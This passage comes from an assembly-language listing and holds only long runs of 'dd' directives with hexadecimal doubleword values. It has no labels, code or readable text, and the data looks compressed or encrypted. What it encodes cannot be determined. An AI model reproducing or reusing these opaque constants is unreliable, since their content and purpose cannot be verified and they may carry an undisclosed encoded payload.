4AAF8113h, 0B299C28h dd 0CFB2435Ah, 0E51B0420h, 18038517h, 0B70EB3B6h, 0DADC90ECh dd 0FF80043h, 36893739h, 440001B5h, 0CB71FD5Ah, 799BCFh dd 5F4B8E4Eh, 0AD63C09Dh, 0A6BD7F00h, 6FA58B9h, 3FEDF0F3h dd 99000E08h, 0C8E4A1BAh, 1604EB95h, 5E8A4077h, 0F7A01887h dd 3B41EA0Dh, 85008142h, 0D3FFC0F3h, 0E707A53Dh, 4A206175h dd 90A7A8D0h, 1E8F14AAh, 0D40CD8E3h, 0D6C88399h, 95BBE00h dd 0D3354BD8h, 0E8AC3A41h, 4C480C72h, 0F83011DEh, 84B07400h dd 0D5ABC7D4h, 3BD80706h, 30495C8Eh, 28BE213Dh, 0C8C6A400h dd 91059993h, 293503ECh, 0C11D61C0h, 95507A98h, 0A00E3400h dd 3079CCB6h, 24A500CAh, 0FB42861Eh, 5200DBD3h, 0A16D7C83h dd 770293B7h, 8FA824BBh, 0B3F00DDh, 0B1158A49h, 0F8CDC01h dd 142F9D63h, 0CCE824h, 0D2D3D30h, 5EF1C743h, 33009B70h dd 75F06291h, 1FCCE36Bh, 475FABF2h, 0B067E0D4h, 73E54984h dd 81456000h, 0C5F1DCADh, 9FFF1FA2h, 0B6C6C13Eh, 64161D27h dd 261E1014h, 72C0D0A5h, 9DBC4B34h, 4EBA0E90h, 0D160EAB3h dd 0B51F8950h, 9A936212h, 5ABCA440h, 67E653h, 0D57B08B0h dd 0D74D1131h, 43CB7200h, 9185C6C0h, 3DBD7435h, 0B580BC68h dd 58F85FDEh, 0B00E404Eh, 0E93A718Eh, 0A9158059h, 0D802F3h dd 0C1F17D12h, 1ADAB5F5h, 72D1090Fh, 0C52F405Dh, 0E06C35h dd 0F4DDA542h, 62C3ABC1h, 891B100h, 0BE5B9BBBh, 0F62C004Ah dd 80690466h, 0F0EE2785h, 387A0C00h, 0E05632EFh, 51720ED8h dd 0CBC00F09h, 0CF1A675h, 5F559C0Fh, 0E576081h, 0FE4EC122h dd 41603984h, 0F1D100FFh, 52425BAAh, 3A6C255Dh, 1080A172h dd 58322D8Ah, 0A35031Bh, 0D07C79B6h, 673AF1Eh, 8A5B1BEEh dd 1400DA9Eh, 19284D40h, 0E8FC69h, 6729F6A5h, 77C9D8F8h dd 0E6F79700h, 8DC8B6C5h, 0E7413F62h, 0E2BD0A00h, 0E1DBB7F9h dd 4DB54B01h, 23A37856h, 0DE49E0h, 0CBE5F2DDh, 2593AE94h dd 0AB44EF03h, 155EE42h, 79B48010h, 0C89E7053h, 7D00AECFh dd 3805E74Ch, 1AA9DBDh, 8968B1CDh, 0D80C6E19h, 0FC18B4F9h dd 0DD0C5F51h, 0F5CA0043h dd 483E2ABAh, 463BCB22h, 5C112478h, 63E8EF00h, 0F42157F4h dd 22BD0780h, 500FEC47h, 9F2E02BAh, 8BB5D80Fh, 8DC780DFh dd 694537h, 0F9CE2AF8h, 1B2CB917h, 5CB47C01h, 76A1012h dd 9C83BA00h, 0E4FA5000h, 3C2ECAC2h, 93360361h, 8CE6204h dd 545E4088h, 1DA32407h, 0DD572187h, 8AD59B10h, 0AC209ABh dd 83807FE5h, 0D30D0C37h, 26CCC05h, 2C906F53h, 7808CFh dd 99413714h, 6BC28A23h, 1D6F151Ch, 0BF91DB40h, 7228C8ACh dd 2A2700FFh, 18095097h, 31009F0Dh, 42DA1982h, 0D8894D3h dd 304A6ED6h, 99A0ECC0h, 17FA5300h, 0C00EA1DCh, 0E40302F1h dd 0CF58730h, 0B8F2A440h, 387D5D00h, 99F6CA6h, 0C136386Ah dd 0A5ACBC80h, 9917218Fh, 33B22600h, 7A4968F4h, 6BDE009Bh dd 0BF529512h, 3C3C9DD1h, 7CE7805Ch, 140A8A97h, 75E00962h dd 37808BB3h, 30C7FAE2h, 0F7A0F3Fh, 0C01335F3h, 0FBE3D717h dd 26B018h, 12C755Fh, 0CF5BEA45h, 314BC812h, 8EC0C41Dh dd 0ED368034h, 0A9FC04E2h, 82B9CAEEh, 0C8C05AA8h, 0CD723928h dd 8ACCFB1Dh, 7C9B6140h, 0F05C02DCh, 910703FEh, 4835724Bh dd 714CF400h, 0B1E544DBh, 218A0095h, 0FBC73D2Eh, 0F49CBC20h dd 9B85D104h, 5D23F100h, 505B09BDh, 70456841h, 0C4F9199Fh dd 7EB9D1FCh, 0C7D80EECh, 9DC110B5h, 20010C9Ch, 39168F50h dd 3F006777h, 20BC8D6Dh, 50930082h, 99834B37h, 6E04CDE8h dd 0A01D32FEh, 2114A0h, 19B4D40Eh, 5DCA1AA9h, 37D7ED17h dd 0AB0484h, 236A542h, 8CE5AFEh, 0E5578179h, 0A986D7E6h dd 51A1BF43h, 0C5295D0Eh, 825989CEh, 0C0337A67h, 58FD4EBFh dd 5C001A32h, 0E5202F85h, 0CD0ED8D6h, 2162B09h, 8017D78Fh dd 5D507F4Ch, 0FE5C265Bh, 563D0089h, 0ACA07643h, 7B161F00h dd 649112AAh, 630DD21h, 0B93672EBh, 5639B400h, 0A8F5C31Ah dd 0CFD90A3Ch, 0A105196h, 1C6F9Eh, 816478Dh, 9901670Dh dd 0A40590D0h, 92DC4B9Bh, 53690091h, 9714DD78h, 0A2422C3h dd 0ED86ACA0h, 0FAB1DA9Ch, 6351C026h, 0DFEC5F01h, 90C5E406h dd 340E194h, 5C5D7E9Dh, 0CE93DC34h, 63AE73E8h, 0C3106D05h dd 0A820059Ah, 29BB26h, 47A91F14h, 0EC9E1052h, 21EA0130h dd 955505h, 9BA242Ah, 0A3B72C27h, 0E2D69C0Eh, 1C2260A1h dd 0CEC39620h, 0A489B830h, 12A1D10Ch, 465B1D00h, 0A0160FAAh dd 898FB96h, 874D31B7h, 0DBAF5B00h, 0E83B3A3Eh, 20F1CF91h dd 7F2D803Dh, 2B6F07F3h, 1BBA5301h, 268F5A61h, 0B0FA23C8h dd 0D0E820h, 0BE1904ACh, 0EF1AB97Dh, 72811460h, 2515BD9h dd 392A7EB5h, 8080A9ADh, 0E31C29CFh, 922AA6F2h, 0D90EACA4h dd 891A592Eh, 0E060EB69h, 28A055Ch, 0FF514A32h, 948BAD62h dd 0F43F0805h, 71C00504h, 0C5A04BB1h, 41F7F69h, 15CDD1CAh dd 5D9CC09Dh, 0DD0ADB2Ah, 800FAB34h, 6F47D901h, 0F8F0A77Eh dd 0FF590033h, 6CB051AAh, 14006DE1h, 28197375h, 265CFE76h dd 7783D7Ah, 30CEA21Ah, 0B49FC8EDh, 0CFBD4E2Ch, 65E2600h dd 0C6BC133h, 27771CC3h, 3201A499h, 0BD6340B1h, 0F082A3F0h dd 8678A63Dh, 7B000064h, 0D9EFC305h, 1D22415Dh, 1556359Eh dd 0F42790E1h, 0FB0024D8h, 0EF105043h, 861C12h, 5246289Bh dd 0ED75DD79h, 6CBCB773h, 0F309421Dh, 0C4D81062h, 0C98000F6h dd 36F7795Dh, 0C2746FE9h, 0ABA43254h, 4E801F06h, 5B92DFCh dd 59B65509h, 3FDC0D2h, 0C80A2AA9h, 0D08E68FDh, 3828A408h dd 28D8B32Ah, 79739E9h, 0C1A6CE14h, 4852A061h, 6B002BABh dd 70A93B09h, 31035Fh, 0EB1E89ADh, 0EC0268D3h, 48078B3Ah dd 0F51F00F4h, 594C94CAh, 182171DEh, 0A93B79F4h, 1D399B57h dd 89CB009Ch, 5D6185B6h, 264C0063h, 0AE6C05A5h, 915F1F56h dd 393AF00Ch, 2ABC0033h, 611821B8h, 2D0048B2h, 9910DABh dd 0CC56362h, 699BFFCCh, 5487431h, 435F80C4h, 3CF30C87h dd 17814B8Dh, 8B6C6170h, 0CD50FCF0h, 0AA7CC913h, 23BC6C10h dd 834A0087h, 0C2995DF5h, 373D4486h, 3880F300h, 7849FFE6h dd 0DF6F003Ch, 0C6910C4Eh, 7242AB1h, 0FA081825h, 817F658Bh dd 264DD9C1h, 30474E18h, 65307E9Ah, 0B4AE91h, 0AC1A162Eh dd 53A63C83h, 6303C93h, 0A445D984h, 0A60D2024h, 8E78D539h dd 0FD73DA03h, 83B39480h, 0CB333D4Eh, 23811B98h, 0F5E09511h dd 392860BAh, 73CA9B01h, 579283D8h, 1223C034h, 0EEAB6h dd 0EFB57F90h, 3777B9FBh, 0F284F901h, 0C625E23h, 7C02081h dd 4FF34232h, 719C1120h, 4B79480h, 0C0A54085h, 858011EEh dd 2032B8EFh, 27CD4F00h, 0FE28B6BDh, 296260C2h, 0C5899571h dd 1454482Ch, 46568282h, 0D134409Ah, 0C3D500E9h, 8151328Bh dd 8601F2AFh, 0DC490969h, 0B8501443h, 162CD640h, 91201F80h dd 480E2534h, 0BF00D1C8h, 73B57E97h, 5837BD6Eh, 0CB8038C1h dd 2C8DA010h, 4C920B28h, 2C96500h, 2E82A3C3h, 9067690Fh dd 436B4004h, 31C5BCA1h, 0BBB89EA4h, 63FCE1C3h, 5B860214h dd 1C87AA73h, 5B3C4000h, 1F59273Fh, 742CA023h, 0BAE8C201h dd 3CCCCEC3h, 6D98DB04h, 0BD623FAAh, 5B65AB20h, 0A55F00A4h dd 4C8CA8D1h, 8D0AEBDFh, 908A244Dh, 0A445044h, 4C74022h dd 58A74BDFh, 73AA2Eh, 250A29CCh, 0BBB3D39Bh, 1CA41154h dd 2C465C5Bh, 41FF03h, 99F0CD13h, 0D16D70D7h, 2D0AD01h dd 0C3AFF71Fh, 81CBC891h, 0AA6A98D8h, 0C8C9CE6h, 575BF3B2h dd 6913ADBAh, 6841C23Eh, 0AE61C4EDh, 63121023h, 0BE4840A2h dd 0ECB6C2C8h, 4BDE0502h, 0E01DDA50h, 0A112BA47h, 80542FA8h dd 0E0EB9823h, 452A838h, 0F348C2DEh, 87F8C03Eh, 0FA33AC28h dd 0F011B15Ah, 7E7640h, 7ADB3C1h, 6FD1C301h, 8030B648h dd 779DAE9Eh, 941D00F2h, 54CCC3A0h, 21C05986h, 92B0132h dd 3BAF3FD1h, 39332FBDh, 0D2F05E61h, 141D35DCh, 0CF02CDF0h dd 40A72D0Ch, 0BA35CC4h, 2E28C2CAh, 7E8284A1h, 93482426h dd 0EB77E800h, 0CAAA129Ch, 0E4900Fh, 0A245FF9h, 0C5DD618Eh dd 0AE189BF2h, 8256EB2Ch, 64803066h, 0E5B8C240h, 4C587561h dd 54609BBFh, 5A970421h, 0D10A86CDh, 2BC7B658h, 0F417C2C1h dd 0CE99E4h, 0C3F9B484h, 0D3EDAF9Dh, 683A6307h, 87DB667Eh dd 0CAE583F4h, 5BEFFC60h, 5FAA2378h, 0FEAB08h, 0B75B896Fh dd 830160E6h, 0C37B74F9h, 8C378029h, 0C37AE2A7h, 357DE422h dd 0C7042021h, 8234B418h, 77309288h, 5DC80B83h, 4816F411h dd 8000FCF2h, 607C558Ah, 91B649h, 8F6D24C9h, 0E2232728h dd 0FC5A5409h, 0E8184286h, 0B72965Ch, 0E6B63B36h, 11E008AEh dd 10065F65h, 8A5DA1C0h, 0EE34CA30h, 0FA2678C2h, 378B2413h dd 0BF72027Dh, 7C408A39h, 360114F6h, 956B421Ah, 3FF2AE2h dd 0B93F6518h, 8BE1C004h, 715C2464h, 0D5FA7712h, 0BF78C00h dd 2EA144Fh, 261AF4Bh, 0D86866D9h, 19074573h, 0A1F2AC20h dd 0D8BE8889h, 0AA8CC21Eh, 4540F6h, 3640DA34h, 4181AF92h dd 76189B61h, 383A1A83h, 0AD0BC548h, 8140207Ch, 155D2B93h dd 0F3421C8h, 0C6EA56AFh, 80B645C4h, 0AD1AC60h, 921FDCFDh dd 7F0D1898h, 30559BEDh, 0D28C60h, 0BD0D6AD8h, 51FE0B4Ah dd 3DE41E4Ch, 0E78C9966h, 28402268h, 0C77E4E94h, 0B6351B19h dd 2B0C99D4h, 0A902C130h, 5FB514AAh, 7AC16065h, 893A07D8h dd 84D9A6A8h, 0E090BB3Ch, 8291C766h, 7D929000h, 950262F3h dd 0D86C3173h, 55488056h dd 0A45975DEh, 8468567Ch, 7974FB19h, 0B8EDEC52h, 84185068h dd 4B9F5A10h, 7C014E6Ch, 0A662A8AFh, 4820CD90h, 0E18AAE21h dd 837E89AFh, 48C35149h, 20C909AAh, 1087DB75h, 156AC058h dd 0B4D8B591h, 28F7F3A9h, 0EE18671Bh, 0C2D30728h, 0E30E10ACh dd 590C2BB5h, 395CED91h, 9AE9016Ah, 2EADA5AFh, 409453C5h dd 0D9C77580h, 83D811C9h, 0F0145668h, 94B7FFCDh, 751280B8h dd 90895AEDh, 0E3AF8C01h, 0A757BDABh, 0A16C1087h, 42857420h dd 0C3C9F5CFh, 5923A02Ch, 51707036h, 30413457h, 9310BBAEh dd 0AF3FF3C3h, 0A028A972h, 6B010024h, 4557DC24h, 65E0024h dd 0AEF758FDh, 667F1037h, 2B03149Ah, 0CDBAFE05h, 0B9100AD0h dd 85849951h, 0C0DD1E11h, 0ACA0E608h, 0EB0016FAh, 64C335D7h dd 0BAA754DCh, 409E5750h, 0A7085AC8h, 890052D0h, 1A0C90CDh dd 0A4190F63h, 0D330E1F5h, 0D03940E1h, 0AC3FB715h, 5450EB14h dd 35141062h, 432FBC84h, 13CC9F57h, 4743A138h, 729BBE60h dd 94EBAD27h, 13E0B14Ch, 10222EA9h, 810CA7E3h, 0BB8242B8h dd 7CCB6110h, 0A8661306h, 0FBB0E30Fh, 81FF0446h, 9425E21h dd 2008483Dh, 5200D7F4h, 0EEB6BE54h, 3D9CB323h, 741A3485h dd 0E004A405h, 0F563F200h, 363EF65Ah, 9B09CD43h, 63CAC021h dd 35EFD600h, 1F293AE4h, 895B64B8h, 0A2DCA403h, 9DA02500h dd 0F07D5C76h, 0ECBA0024h, 9C982B54h, 0E07E9B8h, 46355297h dd 9D74AC00h, 205500C2h, 82D937CCh, 1261C131h, 0C3B4DD59h dd 140BDCh, 0C413B358h, 214B6B90h, 0C50F8705h, 0FC8CAC23h dd 3C7E5C9Ah, 0AB5008D6h, 5C1C2083h, 4B59010Dh, 0AE354A8Fh dd 0F82193B2h, 0AF56AC06h, 9611EA48h, 0B4AA8330h, 0C0CDCA89h dd 3B3AF06Ch, 128CBB52h, 48800B8Bh, 1FCBCFE3h, 81FED294h dd 9915C4A3h, 0BAAAD42Fh, 4225FCE5h, 52703530h, 0E105F123h dd 9200E062h, 0FFC596A5h, 0ECA82D9Fh, 0B55BAD35h, 58E24C24h dd 1F3C5D02h, 0C091DEE4h, 0FD8E10D6h, 214800AEh, 0D1C40B92h dd 7E3BE695h, 23C718F0h, 0F11331h, 8A349327h, 7A32EC96h dd 3E58E600h, 7F357023h, 0E6CEC20h, 0BBF289F5h, 4636C2A3h dd 2BD7948h, 291D1DBh, 68C8C19Eh, 7B746080h, 7F3B3EDEh dd 0A0428B2Ah, 0C5447300h, 0E32682F9h, 6ACC05E8h, 0A079D3DCh dd 48EA1B90h, 31716800h, 6C923D9Eh, 0C6DB27F3h, 771C5081h dd 52B98036h, 55AEC310h, 0A6531DD6h, 53FEBE5Ah, 0C300C46Bh dd 150D03D5h, 9F05EBFEh, 784750F5h, 0B4563FC0h, 0EA102514h dd 0D7C5018h, 9C30954Ah, 23CF80F0h, 2E11695Dh, 0DC021D20h dd 9D49E816h, 99244C34h, 6CA9836Ch, 9BD006E6h, 0C35A1EECh dd 0EA21B840h, 48E40C01h, 0A41144B8h, 63200C98h, 18D46934h dd 0C08CDE03h, 6745973h, 15919E00h, 6DBB0782h, 3AA3028Dh dd 0F43DF09h, 0B91C80A2h, 3332872h, 0A8885944h, 0E0FF6943h dd 0FCAA2782h, 7C007DF6h, 0EBFA3067h, 0F38F0090h, 0BF285D5Ah dd 0C14837BAh, 0EB3C8018h, 0CE953Eh, 628EB416h, 9A5210A8h dd 30A6FF39h, 46452908h, 1ED9749Fh, 8FAF3A3Ch, 11BB1CDEh dd 8D3A830h, 3CDDBFEh, 0D8FF5D6Ah, 404375A7h, 0D7FD0190h dd 59C8D205h, 0EB8B4434h, 6B03C000h, 5DB86802h, 0E30F7798h dd 0E680C5E6h, 2A231BBFh, 0A03966h, 31061654h, 85E85241h dd 9AF1F700h, 0FAC40A92h, 550B1417h, 1F22305Dh, 4CF05F0Fh dd 13AF4068h, 61CE6Ah, 11093329h, 5D1CDBF1h, 2585209Ch dd 0BC4632A2h, 793166h, 0A3EA6908h, 0BF45F7F8h, 0FC645A00h dd 59043BE3h, 4DDD7C93h, 8B935CDEh, 0C6BDC8D4h, 0A5A10225h dd 58380Ah, 3FB6BB72h, 5A1AF5B5h, 886C00DCh, 4873ACA3h dd 51B48F03h, 0B358B668h, 78A7AAD9h, 5C8C96ECh, 87C03821h dd 0C5B6C2CDh, 0F988C2D3h, 0DCACA0EBh, 0F74B7998h, 1D400800h dd 35DA44Ch, 873E9585h, 0C8DDFCADh, 0AA4C35D8h, 28009278h dd 0F2867F39h, 0F42F0EE5h, 0EA4A5A2Ah, 0F5B161B4h, 9E1468C6h dd 647D007Bh, 440AA8CFh, 0E09C0577h, 908A61AFh, 9EDE557Ch dd 0CB49A607h, 0FD836C59h, 40E6EAA3h, 0E9E28D54h, 6EA9F470h dd 54A4302Dh, 3B0C9043h, 0A10E5590h, 42368E0Fh, 0C06FA5BDh dd 18A0424h, 6D6EE54Ch, 4269D9FFh, 0D8AFA368h, 0C13E2304h dd 417B5E41h, 32B7ED8Ch, 0DB041C80h, 68B91F85h, 28BD5088h dd 93C65CDh, 0C13AA9D8h, 24F99010h, 0E905A80Eh, 61D04015h dd 0E6463195h, 6FEC09FCh, 0C000EE52h, 0DC623D2h, 58BDA918h dd 0FB4B1C9h, 5A2E436Ch, 7DC173C0h, 9905DC22h, 3BDFDB87h dd 20917082h, 5594CF01h, 44EC9E00h, 2AE9780h, 305425DFh dd 0FDEABC48h, 3203AA03h, 303EAC66h, 0C0418B88h, 107E5CDh dd 68D3EFBCh, 4AF9D63h, 69E964F9h, 1E1C903Dh, 80F7B635h dd 0A63C3E39h, 2CACFCBBh, 81CCA9B8h, 0E4945AEBh, 0DA03853h dd 58EC193Eh, 49A177D4h, 7901204Dh, 61B8AFF3h, 0EBE440E0h dd 0B73FC501h, 73783C49h, 0E7E48C18h, 0A4906B49h, 438605CCh dd 23F01124h, 169B8218h, 0A97EE7D8h, 0C0C0DE76h, 91037150h dd 0AD7001Dh, 2976739Dh, 0DC09AF78h, 724233Bh, 0D804EC61h dd 4500A8C5h, 46BEA8EAh, 75FC0780h, 0C142268Ch, 2564F696h dd 8DB88898h, 5AA8818Ah, 4294AD20h, 120169Ch, 48377425h dd 40C0309Eh, 549A91E2h, 3675DA05h, 0F0D8471Ah, 0FE6304F5h dd 32023E5Ah, 0CD172044h, 60904E63h, 7D043344h, 87E091C6h dd 295810Dh, 984A5244h, 0ABBFE9C0h, 3EB17000h, 0C56AE6AFh dd 0C8CF0111h, 9AA30134h, 2BD89F46h, 4C843815h, 988C7EB8h dd 5DF317A8h, 0DC8D49h, 8344E144h, 29A40800h, 70BFD07Ch dd 105D01E5h, 0B2378B23h, 70844680h, 0C7E0C20Ch, 4194206Bh dd 80427A0Bh, 60F2A303h, 18BD6B62h, 205958EDh, 421FD9AFh dd 0AB06C10Bh, 0EE198495h, 0DE74EA3Fh, 40CFC0C0h, 188DBD0Dh dd 28392160h, 34868Ah, 0C7FB98E4h, 9930CB09h, 47439D0Fh dd 0E1AF01BBh, 65604288h, 27360008h, 9C221BD5h, 0F10F7663h dd 0E04372AEh, 60C3E114h, 7A62078Ch, 2415C2h, 0D1D0E525h dd 8D883103h, 0A0BCEE43h, 0C10A70h, 135942E1h, 0A806CE4Dh dd 5129DA00h, 0ACA45304h, 289E0017h, 0A6A13A88h, 0EA005784h dd 3CCF3654h, 589459h, 0CB780AFCh, 0A4441792h, 3974B301h dd 209AA28Eh, 9096AAF0h, 6E690013h, 80B0441h, 30002199h dd 0C5AD24F0h, 0A0877DA3h, 116528Fh, 0D0AB2DA8h, 40FE20B4h dd 0F473FFA3h, 7CF5D600h, 0A6A8C597h, 61721D5Ch, 0B71E036Ah dd 4818F711h, 0B951BF46h, 0E1430052h, 77D248B0h, 403211Fh dd 8A96977Ah, 0C01DA412h, 8CBDB16h, 2807948Ch, 9296ADB3h dd 20A8E6h, 19749DF1h, 75945BB5h, 0A3806861h, 27FC3F4Fh dd 0F17F004Ah, 0A2D07C6h, 6690E103h, 0DA225600h, 0FB94D3D8h dd 0CF311F13h, 0ED22488h, 7F00720Ch, 0A1F714BCh, 0B0C1C4B8h dd 0A5852C97h, 0B5AFCh, 7A287E67h, 7730B03Bh, 1B61620h dd 0CF58E082h, 80948A71h, 0FB6AE139h, 0F7A03Dh, 0E79BE518h dd 0C2C6B2CFh, 94B37800h, 2497FFE2h, 0EC660CDCh, 0A0802D52h dd 0B5658800h, 0A7D79BE1h, 0CCA500CFh, 1F90CDACh, 4FF8EC28h dd 1B674Ch, 6F6D1DAAh, 7182144Ah, 0BFF0006Ch, 0CC368959h dd 0A0E1FEDh, 8C0B8364h, 0D921FDh, 80E18925h, 851F9470h dd 106D0738h, 5F164603h, 24140084h, 19DEFEA2h, 800FA339h dd 0CEC84B26h, 82215Fh dd 7A548793h, 0FEDD6544h, 6F06F57Ch, 6E4EEB6Ch, 3D60048h dd 0DA3F1C8Eh, 691E59E4h, 89C07C09h, 0A817121Bh, 0E8801E06h dd 83A5DF26h, 0E373915Eh, 0CE36E003h, 55F78Fh, 860C6F90h dd 584F4D42h, 0D7766375h, 0D18508C6h, 5E2C3D20h, 65A78381h dd 0EA9D7C27h, 1E5D8C80h, 94A00934h, 0A207E9CAh, 0CDF2E0CCh dd 0DFC2DCB0h, 0B7690125h, 0AA307792h, 0C5BED493h, 76A8700h dd 6610624Dh, 143C03ABh, 0A81BB075h, 35AD3DD0h, 909DC000h dd 0E3A416FEh, 0C17A85h, 6C6492E6h, 338018A9h, 772B7600h dd 5DABC7E7h, 23200C2h, 60112D2h, 0E4003FEBh, 0FDA16430h dd 0D8B334h, 2AC109A3h, 0D0557F4Fh, 18F5F3Ch, 285C9B7h dd 0AEE4D95Dh, 60E0013h, 0F65C0BA0h, 0FA008AC6h, 261A609Eh dd 3A1B2Ah, 1DFBA7E5h, 65BDED58h, 62F96F00h, 0D0B327DFh dd 87D00C0h, 6CDCB64h, 0B7003211h, 5FCACEA0h, 0C4BAADEh dd 0BBD70FD6h, 0D2073078h, 6EDBB3E7h, 0FCA5ABC0h, 0D8840028h dd 0CF0CB50Bh, 0F5317F2Ah, 161EB0A1h, 37445087h, 0A60680CCh dd 5207BE8Bh, 97A8B0A0h, 3629004Eh, 0E0DF846Dh, 855402C0h dd 8D0538B2h, 3A1A04B7h, 3041E49h, 1E800238h, 69A03D10h dd 892204FBh, 8F5014Dh, 39C015BBh, 7BDD3BAh, 4057461Ch dd 83C2AC9Eh, 20197968h, 0D9061830h, 0AF6A09F0h, 1D064D22h dd 356C9880h, 0A0BB5009h, 0A15B9618h, 69BA2D4Ch, 8AA0786Dh dd 1C8DD418h, 0DF904014h, 1A18889Ah, 95102F50h, 8882960h dd 20004A1h, 0BB33F308h, 9C44A195h, 99DC999h, 8204C91h dd 0B4B24028h, 8A0C08D0h, 0AD061423h, 0FD9106E2h, 49C30D01h dd 5010A140h, 0DEE09540h, 0BDC4009Fh, 8A9AD9E7h, 10E758B7h dd 58218785h, 961F5651h, 984DA9Bh, 4A1FC15h, 7D71607Dh dd 0D7F883CBh, 9FB04C48h, 899F8BC0h, 0AB9E613h, 0FEDEBDF1h dd 201114E6h, 0C446017Dh, 0C2574B37h, 1F1983EFh, 6F053FECh dd 4F845938h, 0CA0A4579h, 1160C0EEh, 0E60087D0h, 0F1260737h dd 0CDAD6A9h, 578F12BBh, 820CED60h, 712EB1FEh, 0F5490323h dd 0B8C89BD1h, 69D677C3h, 0EF60BA73h, 7B2D6449h, 3B623A3Ch dd 0D5AA0506h, 0D2740855h, 0CD406B07h, 0AC300878h, 2437803Ah dd 81C839ECh, 6B259386h, 2E84D089h, 3F78CE78h, 0C1814E36h dd 92F6C48h, 9F070798h, 5236C934h, 0A89EBD33h, 0FED925h dd 0ABC3760Bh, 9B017F18h, 1F6CB53Ah, 1B82D116h, 64D88F2Fh dd 0A6730510h, 1FF53F5h, 21E07F8Ch, 86E8801Ch, 8D0A68A3h dd 45F11885h, 0CB1F89ADh, 51ED3Ch, 10FFEA0Bh, 31D42119h dd 0F6280572h, 23A90036h, 634819FEh, 4012C134h, 24D89888h dd 190369E2h, 80BA740h, 3A189806h, 0DC4855F1h, 5CB7001h dd 0F0562FD0h, 0ED09282h, 8CE2E788h, 864EAC00h, 0CD145960h dd 1015D3h, 378A50AFh, 0C511DEC7h, 401636A1h, 4E68DBB0h dd 30C086A0h, 0BFFC672Dh, 6314007Bh, 0A5B59992h, 24F3C53Eh dd 0A8AE372Ch, 451C0278h, 640388Fh, 0D679B98Ah, 664F808Dh dd 9398F1C0h, 0A520C728h, 86DB84B8h, 200D2238h, 85712217h dd 40FAD1E3h, 0CEAF6BD9h, 772DD300h, 4DC27E50h, 0F38E845h dd 0EC891371h, 0C00B2640h, 40E13EBDh, 0F15D88A4h, 144C1B07h dd 5760822Ah, 1F807938h, 80ACFD8Bh, 0FFE541D8h, 0C20E7636h dd 6C9501h, 14D59F2Ch, 0ED0E14DFh, 0EC0CA021h, 6FB8B862h dd 128997Ah, 0E309D0C5h, 902ED06Bh, 0A924AFC4h, 8450B7B8h dd 0DDB9ED4h, 5F7C01C1h, 1BD80029h, 8774B499h, 8C8CF729h dd 40C3EF42h, 20817944h, 98261884h, 0A38B0C3Dh, 85E88930h dd 0EEC5A610h, 14CA1809h, 0F7211A30h, 88225851h, 0F762C35Ch dd 4CE84C07h, 60A8D2CAh, 0F0CC8CEBh, 7012929h, 80897712h dd 1E2200D6h, 8B38BA81h, 98A0763Ch, 41C013C5h, 1A013FB2h dd 4CA5189Fh, 9505B1E4h, 7D284764h, 2101D720h, 0D23C3750h dd 0D89B0F05h, 5842576Dh, 40432E5Fh, 0A49DECB0h, 0ACA50A48h dd 0F00CCEh, 41258123h, 0D431C38Eh, 24898004h, 0B0840CDDh dd 818491E8h, 248DD868h, 583E25B8h, 59749966h, 70340218h dd 97EB06EDh, 712839EFh, 0E455614h, 3D5710B0h, 0A091D388h dd 5C058869h, 0C0CC4040h, 392218DAh, 82140900h, 72389DD7h dd 408301D2h, 73F61DFh, 7CA041A3h, 0F8721032h, 387F5C62h dd 3C8DBA81h, 4F21F480h, 18398330h, 0A2F8A03h, 479045C8h dd 9228198h, 0E06C5C1Eh, 10C08682h, 753F1614h, 0FEC60406h dd 893AE845h, 5F189EC8h, 9B3EACC7h, 10562A80h, 0E220283h dd 3D9491F3h, 50C2C882h, 6EC19880h, 0F2010D03h, 0C7B94CFFh dd 0FC30380Ah, 7B01E6ACh, 0A0F118CAh, 0E1969188h, 8464C12Ch dd 6C32674h, 0E9CC84F0h, 207880D5h, 4C3A5A07h, 0C7909269h dd 3EF18810h, 0CC2E8674h, 2229F79Bh, 37105B23h, 70113810h dd 9B74114Bh, 22288F28h, 7C22F58Ch, 43E62260h, 82144B50h dd 8898F844h, 8A000A89h, 2D4C5183h, 9AB94h, 0F94DD0E4h dd 993B40A5h, 6BD24E00h, 96AD0F39h, 460B1E37h, 82770149h dd 0CC9B6CF2h, 0DD792C2Fh, 95C85300h, 57289C1Fh, 0EA4000AAh dd 10A1FB41h, 0CF00C225h, 0CEA78992h, 1B711DDh, 8A045B80h dd 401C2E34h, 0C3BAFFB2h, 0A624318h, 7864210h, 0AEAA5B5Eh dd 20C0BF0Dh, 66BB8E74h, 0CA67BF00h, 1C6A8C9Ch, 1C59E203h dd 409F0B07h, 9ADAD4C2h, 8801F4CEh, 0B33F95BFh, 0C4298F83h dd 431D061Ch, 8A6E6B51h, 0DA649806h, 780DE3h, 0F3781F09h dd 24A7C9Ch, 0D71A9E07h, 0F6D0ADEFh, 24429Bh, 9DC517F0h dd 0E0107769h, 21D4E400h, 6AF6D85Ch, 0C580C0F8h, 83E68E49h dd 88B23439h, 0C1D6A0h, 2131E29Fh, 0AF00AA86h, 47870D4Eh dd 0CBEA15h, 0B65CDDBDh, 0B1B2074Bh, 898AE401h, 1E7520F1h dd 0C8D59AC5h, 1BD8A880h, 0BDDBF2E8h, 30500103h, 0C0CCB15Bh dd 4AB8DCh, 4251FDF7h, 0D8E30E40h, 699AF800h, 41C91113h dd 88B700CFh, 5F70B07Dh, 0AF009D1Ah, 896106C7h, 621D9Ch dd 4B32286Ch, 0EDCAACE9h, 34C15B00h, 80273626h, 65A70370h dd 5606A260h, 2520C09Ch, 23002ECFh, 41DAFB7Fh, 0FA187864h dd 3C404C0h, 82DED3AAh, 6560830Ch, 59011A37h, 54B3BE8Fh dd 0A0F46ACDh, 0E0E01Eh, 0B6190187h, 0B1A35310h, 847D413Bh dd 1D149EE1h, 93F31890h, 23510085h, 0C20A8DFAh, 5E01C941h dd 0AA69A8D5h, 10602D92h, 0F0640026h, 650A40D9h, 6B008BECh dd 134B6F30h, 0EECDA6h, 911D8CF6h, 97023552h, 7BAE280Fh dd 0DD110795h, 76E38080h, 916F0017h, 0F560B04h, 35647024h dd 74D0D10Eh, 182A6E4h, 0E79DE926h, 402B2A10h, 64C627F4h dd 0BAFB100h, 0B380B2D9h, 9FFF00E3h, 74A34092h, 6A1CE1B0h dd 3B9F4F55h, 0C1517A40h, 7263E6h, 0B568C32Ch, 1A20BEDAh dd 0FE34AC00h, 0C8B745D3h, 940900A2h, 0B4255CF5h, 600696Dh dd 1C312D77h, 189A8D9h, 0DD58EBADh, 0C060089Ah, 8D1D96DFh dd 6EDCC393h, 35780F00h, 0C57136h, 0F5D9DC97h, 6FADA1DEh dd 0CC003AB0h, 9A9B8BC2h, 1FDD0B21h, 